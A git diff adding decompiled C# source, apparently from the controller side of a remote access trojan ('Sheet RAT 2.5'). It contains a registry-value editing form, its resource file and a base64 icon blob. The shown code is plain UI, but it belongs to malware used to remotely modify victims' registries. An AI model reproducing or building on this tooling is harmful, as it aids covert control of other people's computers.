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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormRegValueEditString.cs b/Server/Server/Forms/FormRegValueEditString.cs new file mode 100644 index 0000000..9b25ac3 --- /dev/null +++ b/Server/Server/Forms/FormRegValueEditString.cs @@ -0,0 +1,154 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormRegValueEditString +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormRegValueEditString : MetroForm +{ + private readonly RegistrySeeker.RegValueData _value; + private IContainer components; + private MetroLabel metroLabel2; + private MetroLabel metroLabel1; + private MetroButton okButton; + private MetroButton cancelButton; + private MetroTextBox valueNameTxtBox; + private MetroTextBox valueDataTxtBox; + + public FormRegValueEditString(RegistrySeeker.RegValueData value) + { + this._value = value; + this.InitializeComponent(); + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + this.valueDataTxtBox.Text = Server.Helper.ByteConverter.ToString(value.Data); + } + + private void okButton_Click(object sender, EventArgs e) + { + this._value.Data = Server.Helper.ByteConverter.GetBytes(this.valueDataTxtBox.Text); + this.Tag = (object) this._value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + + private void FormRegValueEditString_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.valueNameTxtBox.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.okButton.Theme = Customs.customs.Theme; + this.cancelButton.Theme = Customs.customs.Theme; + this.valueDataTxtBox.BackColor = Customs.customs.ThemeToColor(); + this.valueNameTxtBox.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style == MetroColorStyle.Lime) + return; + this.Style = Customs.customs.Style; + this.valueNameTxtBox.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.okButton.Style = Customs.customs.Style; + this.cancelButton.Style = Customs.customs.Style; + this.valueDataTxtBox.ForeColor = Customs.customs.StyleToColor(); + this.valueNameTxtBox.ForeColor = Customs.customs.StyleToColor(); + } + + private void cancelButton_Click(object sender, EventArgs e) => this.Close(); + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRegValueEditString)); + this.metroLabel2 = new MetroLabel(); + this.metroLabel1 = new MetroLabel(); + this.okButton = new MetroButton(); + this.cancelButton = new MetroButton(); + this.valueNameTxtBox = new MetroTextBox(); + this.valueDataTxtBox = new MetroTextBox(); + this.SuspendLayout(); + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(22, 118); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(75, 20); + this.metroLabel2.TabIndex = 25; + this.metroLabel2.Text = "Value data:"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(23, 69); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(84, 20); + this.metroLabel1.TabIndex = 24; + this.metroLabel1.Text = "Value name:"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.okButton.Location = new Point(314, 179); + this.okButton.Name = "okButton"; + this.okButton.Size = new Size(75, 31 /*0x1F*/); + this.okButton.TabIndex = 23; + this.okButton.Text = "Ok"; + this.okButton.Theme = MetroThemeStyle.Dark; + this.okButton.Click += new EventHandler(this.okButton_Click); + this.cancelButton.Location = new Point(395, 179); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new Size(75, 31 /*0x1F*/); + this.cancelButton.TabIndex = 22; + this.cancelButton.Text = "Cancel"; + this.cancelButton.Theme = MetroThemeStyle.Dark; + this.cancelButton.Click += new EventHandler(this.cancelButton_Click); + this.valueNameTxtBox.Location = new Point(23, 92); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.Size = new Size(459, 23); + this.valueNameTxtBox.TabIndex = 21; + this.valueNameTxtBox.Theme = MetroThemeStyle.Dark; + this.valueNameTxtBox.UseStyleColors = true; + this.valueDataTxtBox.Location = new Point(23, 150); + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new Size(459, 23); + this.valueDataTxtBox.TabIndex = 26; + this.valueDataTxtBox.Theme = MetroThemeStyle.Dark; + this.valueDataTxtBox.UseStyleColors = true; + this.AutoScaleDimensions = new SizeF(8f, 16f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(492, 263); + this.Controls.Add((Control) this.valueDataTxtBox); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.okButton); + this.Controls.Add((Control) this.cancelButton); + this.Controls.Add((Control) this.valueNameTxtBox); + this.ForeColor = Color.Yellow; + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Margin = new Padding(4); + this.Name = nameof (FormRegValueEditString); + this.Text = nameof (FormRegValueEditString); + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormRegValueEditString_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormRegValueEditString.resx b/Server/Server/Forms/FormRegValueEditString.resx new file mode 100644 index 0000000..ee1e63a --- /dev/null +++ b/Server/Server/Forms/FormRegValueEditString.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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